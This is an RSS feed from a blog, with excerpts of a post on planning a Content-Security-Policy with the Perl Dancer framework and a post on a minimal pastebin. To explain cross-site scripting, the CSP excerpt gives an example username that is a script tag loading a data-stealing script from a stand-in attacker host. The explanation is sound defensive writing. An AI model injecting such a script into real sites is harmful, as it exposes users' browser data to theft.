<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>Dancer on Hashbang.ca</title>
		<link>https://hashbang.ca/tag/dancer</link>
		<description>Recent content in Dancer on Hashbang.ca</description>
		<generator>Hugo</generator>
		<language>en-us</language>
		
		
		
		
			<lastBuildDate>Fri, 01 Feb 2013 10:06:00 -0400</lastBuildDate>
		
			<atom:link href="https://hashbang.ca/tag/dancer/index.xml" rel="self" type="application/rss+xml" />
			<item>
				<title>Planning a Content-Security-Policy with Dancer</title>
				<link>https://hashbang.ca/post/planning-a-content-security-policy-with-dancer</link>
				<pubDate>Fri, 01 Feb 2013 10:06:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/planning-a-content-security-policy-with-dancer/</guid>
				<description>&lt;p&gt;The &lt;a href=&#34;https://en.wikipedia.org/wiki/Same_origin_policy&#34;&gt;same-origin policy&lt;/a&gt; is a fundamental part of the security infrastructure of the web. It prevents a web site&amp;rsquo;s scripts from accessing and interacting with scripts used on other sites. This helps keep your data safe because if your bank&amp;rsquo;s website gives you some data, it can only be accessed by your bank&amp;rsquo;s website, and not by scripts from other websites.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;That&amp;rsquo;s a nice theory, it&amp;rsquo;d be a shame if some evidence happened to it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In the real world, attackers have found ways to get around the same-origin policy to gain access to data they&amp;rsquo;re not supposed to be able to access. For example, a web programmer might mistakenly include some user-provided input verbatim in the HTML of a webpage &amp;ndash; perhaps a username. Well, if your username is &lt;code&gt;&amp;amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;http://evil.attacker.com/exfiltrate_browser_data.js&amp;quot;&amp;amp;gt;&amp;amp;lt;/script&amp;amp;gt;&lt;/code&gt;, then how is the web browser supposed to know if that was intentionally put in the HTML of the page? Same-origin policies are insufficient in the face of programmer error. Enter &lt;strong&gt;Content Security Policy&lt;/strong&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>A pastebin with almost no user interface</title>
				<link>https://hashbang.ca/post/a-pastebin-with-almost-no-user-interface</link>
				<pubDate>Sun, 15 Apr 2012 10:07:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/a-pastebin-with-almost-no-user-interface/</guid>
				<description>&lt;p&gt;I&amp;rsquo;ve always favoured pastebins that let you bin a paste and nothing more &amp;ndash; &lt;a href=&#34;http://p.defau.lt&#34;&gt;p.defau.lt&lt;/a&gt; and &lt;a href=&#34;http://sprunge.us&#34;&gt;sprunge.us&lt;/a&gt; spring to mind. I&amp;rsquo;ve made a Perl almost-clone of sprunge.us:&lt;/p&gt;&#xA;&lt;p&gt;p.hashbang.ca (since retired) now runs &lt;a href=&#34;https://github.com/doherty/WWW-Hashbang-Pastebin&#34;&gt;&lt;code&gt;WWW::Hashbang::Pastebin&lt;/code&gt;&lt;/a&gt;, a simple pastebin written with Dancer and &lt;code&gt;DBIx::Class&lt;/code&gt; that does nothing but store your text and show it back to you. The only feature beyond that is if you append a &lt;code&gt;+&lt;/code&gt;, you&amp;rsquo;ll get line numbering (no syntax highlighting). You can use an anchor to jump to any line (click the line number), and the number for that line will be highlighted.&lt;/p&gt;</description>
			</item>
	</channel>
</rss>
